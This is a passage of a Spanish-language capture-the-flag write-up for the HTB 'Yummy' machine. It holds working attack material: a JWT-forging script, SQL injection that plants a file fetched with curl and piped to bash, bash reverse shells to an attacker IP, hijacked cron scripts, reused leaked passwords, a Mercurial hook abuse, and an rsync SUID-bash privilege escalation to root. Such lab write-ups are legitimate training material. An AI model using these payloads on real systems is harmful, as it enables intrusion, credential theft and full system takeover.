new_jwt_token = jwt.encode(original_token_data, private_key, algorithm='RS256')
return new_jwt_token
def check_if_cookie_works(jwt_token):
url = 'http://yummy.htb/admindashboard'
cookies = {'X-AUTH-Token' : jwt_token}
# Make the request
r = requests.get(url, cookies=cookies, allow_redirects=False)
if r.status_code != 200:
print(f"[-] Invalid status code {r.status_code!r}")
return
if '/login' in r.text:
print("[-] Cookie generated does not seems to work.")
return
print(f"[+] JWT seems to work in {url!r}!")
def main()->None:
# Get token from user
args: argparse.Namespace = parse_arguments()
# Get 'n' and 'e' from JWT obtained from 'HTB Yummy' machine
n, e = get_numbers_from_original_token(args.token)
# Modify original token
new_token = get_numbers(args.token, n, e)
# Print the result
print(f"[+] Generated JWT token:\n\n{new_token}\n")
# Check if the cookie works sending it to the target machine
check_if_cookie_works(new_token)
if __name__ == "__main__":
main()
Lo ejecutamos:
❯ python3 modify_original_token.py -t 'eyJhbGc<SNIP>94gzOkXs'
======================================================================
Original JWT Info
======================================================================
Header:
{
"alg": "RS256",
"typ": "JWT"
}
<SNIP>
ey<SNIP>FXjG0vk
[+] JWT seems to work in 'http://yummy.htb/admindashboard'!
jwt.exceptions.ExpiredSignatureError: Signature has expired
en este script ello quiere decir que el token expiró y, por ende, debemos crear un nuevo usuario, extraer su JWT
y volver a correr el script anterior tan pronto sea posible.Usando este nuevo JWT
generado y visitando http://yummy.htb/admindashboard
funciona. Podemos ver ahora algunas nuevas peticiones:
Notamos que hay una búsqueda por email. Buscando por algo tan simple como test
somos redirigidos a http://yummy.htb/admindashboard?s=test&o=ASC
. Pero si buscamos por algo como:
http://yummy.htb/admindashboard?s=test&o=ASC%27%20or%201=1--%20-
en la url, la página muestra un error:
Parece ser vulnerable a SQL Injection
.
De vuelta a nuestro script de LFI
, recuerdo que al leer archivos el output de alguno de ellos mostraban cosas relacionadas con MySQL
. Revisándolos tenemos:
❯ python3 lfi.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/data/scripts/table_cleanup.sh'
Muestra:
#!/bin/sh
/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql
Y revisando /data/scripts/sqlappointments.sql
muestra:
TRUNCATE table users;
TRUNCATE table appointments;
INSERT INTO appointments (appointment_email, appointment_name, appointment_date, appointment_time, appointment_people, appointment_message, role_id) VALUES ("chrisjohnson@email.net", "Chris Johnson", "2024-05-25", "11:45", "2", "No allergies, prefer table by the window", "customer");
<SNIP>
De manera que este es el cronjob
borrando usuarios cada 15 minutos.
Por otro lado, el script llamado /data/scripts/dbmonitor.sh
muestra:
#!/bin/bash
timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)
if [ "$response" != 'active' ]; then
/usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
/usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
else
if [ -f /data/scripts/dbstatus.json ]; then
if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
/usr/bin/echo "The database was down at $timestamp. Sending notification."
/usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
/usr/bin/rm -f /data/scripts/dbstatus.json
else
/usr/bin/rm -f /data/scripts/dbstatus.json
/usr/bin/echo "The automation failed in some way, attempting to fix it."
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
fi
else
/usr/bin/echo "Response is OK."
fi
fi
[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json
Este script revisa si MySQL
está corriendo. Si no, ejecuta un archivo llamado fixer-v*
en el directorio /data/scripts
. La cosa es que éste ejecutará el archivo llamado fixer-v<number>
, donde <number>
es el mayor número. De manera que si tenemos 3 archivos llamados fixer-v1
, fixer-v2
y fixer-v3
el cronjob
ejecutará fixer-v3
.
Es así como tenemos la idea de escribir un archivo file-vZ
(dado que las letras en mayúsculas son almacenadas al final) en /data/script
y esperar al cronjob
para ejecutarla. Primero, necesitamos “corromper” el archivo dbstatus.json
. MySQL
no puede sobreescribir archivos, pero si revisamos /data/scripts/dbstatus.json
este archivo no existe. De manera que podemos escribir este archivo usando nuestra sesión en la ruta /admindashboard
:
http://yummy.htb/admindashboard?s=123&o=ASC;%20SELECT%20%27test%27%20INTO%20OUTFILE%20%27/data/scripts/dbstatus.json%27;--%20-
La cual es la SQLi
urlencodeada:
SELECT 'test' INTO OUTFILE '/data/scripts/dbstatus.json';-- -
El archivo ha sido aparentemente escrito:
❯ python3 lfi.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/data/scripts/dbstatus.json'
<SNIP>
[+] Output obtained:
<!doctype html>
<html lang=en>
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
De manera que escribamos ambos archivos necesarios para el payload usando SQL
:
; select 'test' INTO OUTFILE '/data/scripts/dbstatus.json'; select 'curl http://10.10.16.2:8000/rev.sh | bash' INTO OUTFILE '/data/scripts/fixer-v9999';-- -
donde 10.10.16.2
es nuestra IP de atacantes y 443
es el puerto en el cual nos pondremos en escucha con netcat
.
Urlencodeamos este payload con Burpsuite
, el cual genera el payload-urlencodeado:
%3b%20%73%65%6c%65%63%74%20%27%74%65%73%74%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%64%61%74%61%2f%73%63%72%69%70%74%73%2f%64%62%73%74%61%74%75%73%2e%6a%73%6f%6e%27%3b%20%73%65%6c%65%63%74%20%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%36%2e%32%3a%38%30%30%30%2f%72%65%76%2e%73%68%20%7c%20%62%61%73%68%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%64%61%74%61%2f%73%63%72%69%70%74%73%2f%66%69%78%65%72%2d%76%39%39%39%39%27%3b%2d%2d%20%2d
Creamos un simple archivo rev.sh
con el contenido:
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.16.2/443 0>&1'
La asignamos permisos de ejecución con chmod +x
y lo exponemos en un servidor Python
HTTP
temporal en el puerto 8000
(ejecutando python3 -m http.server 8000
). Nos ponemos además en escucha con nc
en el puerto 443
.
Visitamos así http://yummy.htb/admindashboard?s=123&o=ASC<url-encoded-payload>
, el cual en mi caso es:
http://yummy.htb/admindashboard?s=123&o=ASC%3b%20%73%65%6c%65%63%74%20%27%74%65%73%74%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%64%61%74%61%2f%73%63%72%69%70%74%73%2f%64%62%73%74%61%74%75%73%2e%6a%73%6f%6e%27%3b%20%73%65%6c%65%63%74%20%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%36%2e%32%3a%38%30%30%30%2f%72%65%76%2e%73%68%20%7c%20%62%61%73%68%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%64%61%74%61%2f%73%63%72%69%70%74%73%2f%66%69%78%65%72%2d%76%39%39%39%39%27%3b%2d%2d%20%2d
En un navegador de internmet como Firefox
.
Luego de algún tiempo obtenemos una conexión. Obtenemos una shell como el usuario mysql
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.36] 57734
bash: cannot set terminal process group (3704): Inappropriate ioctl for device
bash: no job control in this shell
mysql@yummy:/var/spool/cron$ whoami
whoami
mysql
Podemos así usar las credenciales halladas previamente en app.py
para MySQL
:
mysql@yummy:/var/spool/cron$ mysql -u chef -p'3wDo7gSRZIwIHRxZ!' -h localhost yummy_db
<SNIP>
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> use yummy_db;
Database changed
mysql> show tables;
+--------------------+
| Tables_in_yummy_db |
+--------------------+
| appointments |
| users |
+--------------------+
2 rows in set (0.00 sec)
mysql> select * from users;
Empty set (0.00 sec)
Pero fuera de datos del blog no hay mucha información importante. Esto es un rabbit hole, de manera que no pierdan el tiempo.
Podemos recordar los cronjobs
encotnrados en /etc/crontab
. /data/scripts/app_backup.sh
estaba siendo ejecutada por www-data
cada segundo. Revisamos si podemos escribir sobre este archivo renombrándolo:
mysql@yummy:/var/spool/cron$ mv /data/scripts/app_backup.sh /data/scripts/app_backup_backup.sh
mysql@yummy:/var/spool/cron$ ls -la /data/scripts/app_backup*
-rw-r--r-- 1 root root 90 Sep 26 15:31 /data/scripts/app_backup_backup.sh
Podemos. Renombramos como /data/scripts/app_backup.sh
un nuevo archivo rev.sh
que creamos para obtener una nueva reverse shell:
mysql@yummy:/var/spool/cron$ echo -e '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"' > /tmp/rev.sh
mysql@yummy:/var/spool/cron$ chmod +x /tmp/rev.sh
mysql@yummy:/var/spool/cron$ mv /tmp/rev.sh /data/scripts/app_backup.sh -f
mysql@yummy:/var/spool/cron$ cat /data/scripts/app_backup.sh
#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"
Empezamos un nuevo listener con netcat
por el puerto 443
. Luego de un tiempo obtenemos una nueva shell como el usuario www-data
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.36] 56358
bash: cannot set terminal process group (4522): Inappropriate ioctl for device
bash: no job control in this shell
www-data@yummy:~$ whoami
whoami
www-data
Dado que ahora somos www-data
deberíamos de mirar en /var/www
. Mirando allí tenemos un directorio llamado app-qatesting
y tambiñen un directorio oculto llamado .hg
dentro de éste:
ls -la /var/www/app-qatesting/.hg
total 64
drwxrwxr-x 6 qa qa 4096 May 28 14:37 .
drwxrwx--- 7 www-data qa 4096 May 28 14:41 ..
-rw-rw-r-- 1 qa qa 57 May 28 14:26 00changelog.i
-rw-rw-r-- 1 qa qa 0 May 28 14:28 bookmarks
-rw-rw-r-- 1 qa qa 8 May 28 14:26 branch
drwxrwxr-x 2 qa qa 4096 May 28 14:37 cache
-rw-rw-r-- 1 qa qa 7102 May 28 14:37 dirstate
-rw-rw-r-- 1 qa qa 34 May 28 14:37 last-message.txt
-rw-rw-r-- 1 qa qa 11 May 28 14:26 requires
drwxrwxr-x 4 qa qa 4096 May 28 14:37 store
drwxrwxr-x 2 qa qa 4096 May 28 14:28 strip-backup
-rw-rw-r-- 1 qa qa 8 May 28 14:26 undo.backup.branch.bck
-rw-rw-r-- 1 qa qa 7102 May 28 14:34 undo.backup.dirstate.bck
-rw-rw-r-- 1 qa qa 9 May 28 14:37 undo.desc
drwxrwxr-x 2 qa qa 4096 May 28 14:37 wcache
Buscamos por contraseñas dentro de este directorio con grep
y tenemos algo:
www-data@yummy:~/app-qatesting/.hg$ grep -ir "password" .
grep -ir "password" .
grep: ./wcache/checkisexec: Permission denied
grep: ./store/data/app.py.i: binary file matches
Hay binarios que parecen tener contraseñas.
Usamos la flag -a
con grep
para ver el contenido del binario y ver las posibles contraseñas:
www-data@yummy:~/app-qatesting/.hg$ grep -ir "password" . -a
grep -ir "password" . -a
grep: ./wcache/checkisexec: Permission denied
./store/data/app.py.i: 'password': '3wDo7gSRZIwIHRxZ!',
./store/data/app.py.i: 'password': 'jPAd!XQCtn8Oc@2B',
La primera contraseña es la misma hallada previamente en el archivo app.py
, la cual ya vimos que no funcionaban para los usuarios qa
ni dev
. La segunda contraseña es nueva.
Usamos NetExec
para revisar si esta contraseña es válida para los usuarios qa
o dev
:
❯ nxc ssh 10.10.11.36 -u 'dev' -p 'jPAd!XQCtn8Oc@2B'
SSH 10.10.11.36 22 10.10.11.36 [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
SSH 10.10.11.36 22 10.10.11.36 [-] dev:jPAd!XQCtn8Oc@2B
❯ nxc ssh 10.10.11.36 -u 'qa' -p 'jPAd!XQCtn8Oc@2B'
SSH 10.10.11.36 22 10.10.11.36 [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
SSH 10.10.11.36 22 10.10.11.36 [+] qa:jPAd!XQCtn8Oc@2B Linux - Shell access!
La contraseña funciona para el usuario qa
.
Usamos esta contraseña para loguearnos a través de SSH
como el usuario qa
:
❯ sshpass -p 'jPAd!XQCtn8Oc@2B' ssh -o stricthostkeychecking=no qa@10.10.11.36
<SNIP>
qa@yummy:~$
Podemos obtener la flag de usuario en el directorio /home
de este usuario.
Root Link to heading
Revisando qué es lo que puede correr este usuario con sudo
, éste puede correr el binario hg
como el usuario dev
:
qa@yummy:~$ sudo -l
[sudo] password for qa: jPAd!XQCtn8Oc@2B
Matching Defaults entries for qa on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User qa may run the following commands on localhost:
(dev : dev) /usr/bin/hg pull /home/dev/app-production/
Éste es un script de Python
:
qa@yummy:~$ file /usr/bin/hg
/usr/bin/hg: Python script, ASCII text executable
Leyendo tenemos:
#! /usr/bin/python3
#
# mercurial - scalable distributed SCM
#
# Copyright 2005-2007 Olivia Mackall <olivia@selenic.com>
#
# This software may be used and distributed according to the terms of the
# GNU General Public License version 2 or any later version.
import os
import sys
libdir = '@LIBDIR@'
if libdir != '@' 'LIBDIR' '@':
if not os.path.isabs(libdir):
libdir = os.path.join(
os.path.dirname(os.path.realpath(__file__)), libdir
)
libdir = os.path.abspath(libdir)
sys.path.insert(0, libdir)
# Make `pip install --user ...` packages available to the official Windows
# build. Most py2 packaging installs directly into the system python
# environment, so no changes are necessary for other platforms. The Windows
# py2 package uses py2exe, which lacks a `site` module. Hardcode it according
# to the documentation.
if getattr(sys, 'frozen', None) == 'console_exe':
vi = sys.version_info
appdata = os.environ.get('APPDATA')
if appdata:
sys.path.append(
os.path.join(
appdata,
'Python',
'Python%d%d' % (vi[0], vi[1]),
'site-packages',
)
)
try:
from hgdemandimport import tracing
except ImportError:
sys.stderr.write(
"abort: couldn't find mercurial libraries in [%s]\n"
% ' '.join(sys.path)
)
sys.stderr.write("(check your install and PYTHONPATH)\n")
sys.exit(-1)
with tracing.log('hg script'):
# enable importing on demand to reduce startup time
import hgdemandimport
hgdemandimport.enable()
from mercurial import dispatch
dispatch.run()
Luego de investigar un poco esta es una librería de Python
para Mercurial
:
Mercurial
is a distributed open source control (also known as “version control”) system written in Python
for tracking and handling file modifications. Mercurial
can be used as the version control system for Python
projects.Este software es una alternativa a Git
para gestioanr versiones de software, etc. Podemos obtener más información acerca de éste en su página web y esta página.
Desafortunadamente, la documentación no es tan clara. Pero somos capaces de hallar esta página explicando cómo usar esta aplicación. Un componente que se ve interesante es hooks
:
Podemos ejecutar scripts de Python
o comandos. El otro parámetro interesante es pre-<command>
:
Podríamos pasar este parámetro como pre-pull
(dado que éste es el único comando que podemos correr como dev
) en hook
.
Pero si lo ejecutamos el aplicativo nos pregunta por un archivo de configuración:
qa@yummy:~$ /usr/bin/hg config -l
abort: can't use --local outside a repository
Es así como vamos al directorio /tmp
y empezamos un nuevo proyecto con hg
allí para crear los archivos de configuración necesarios:
qa@yummy:~$ cd /tmp
qa@yummy:/tmp$ hg init
qa@yummy:/tmp$ hg config -l
Editamos el archivo de configuración con nano
y le ponemos el contenido:
[hook]
pre-pull = /tmp/evil.sh
Y creamos el archivo a ser ejecutado usando la misma terminal:
qa@yummy:/tmp$ echo -e '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"' > /tmp/evil.sh
qa@yummy:/tmp$ chmod +x /tmp/evil.sh
Este script debería de mandarnos una nueva reverse shell al ser ejecutado.
Le asignamos permisos de ejecución al directorio .hg
, empezamos un nuevo listner con netcat
y ejecutamos el payload:
qa@yummy:/tmp$ chmod -R 777 .hg
qa@yummy:/tmp$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/
Obtenemos una nueva conexión como el usuario dev
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.36] 58430
I'm out of office until November 3th, don't call me
dev@yummy:/tmp$ whoami
whoami
dev
Revisando qué es lo que puede correr este nuevo usuario con sudo
obtenemos:
dev@yummy:/tmp$ sudo -l
sudo -l
Matching Defaults entries for dev on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User dev may run the following commands on localhost:
(root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/
Este nuevo usuario puede correr la herramienta Rsync
como root
sin proveer contraseña.
Rsync
is a free, command-line tool in Linux
that transfers and synchronizes files between local and remote systems.En esencia, este comando nos permite copiar archivos, de manera recursiva, desde el directorio /home/dev/app/production/*
en el directorio /opt/app
(excluyendo archivos .hg
).
Así, podemos hacer lo siguiente:
- Crear una copia del binario
/bin/bash
en/home/dev/app/production
. - Asignarle a este archivo permisos SUID. No obstante, el dueño de este archivo será el usuario
dev
, noroot
. - Podemos usar el comando
sudo
que se nos permite ejecutar para cambiar el propietario de la copia creada aroot
usando la flag--chown
(como se puede ver en este post). - La copia de
/bin/bash
tendrá permisos SUID cuyo nuevo propietario serároot
; por lo que nos podremos convertir en este usuario utilizando la flag-p
al ejecutar este archivo.
Necesitamos hacer todos estos pasos de golpe dado que hay otro cronjob
(¿cuántos hay?) constantemente restaruando los permisos de los archivos. Por ende, ejecutamos:
dev@yummy:~$ cp /bin/bash /home/dev/app-production/bash && chmod u+s /home/dev/app-production/bash && sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/ && /opt/app/bash -p
whoami
root
Funcionó. GG. Podemos leer la flag del usuario root
en el directorio /root
.
~Happy Hacking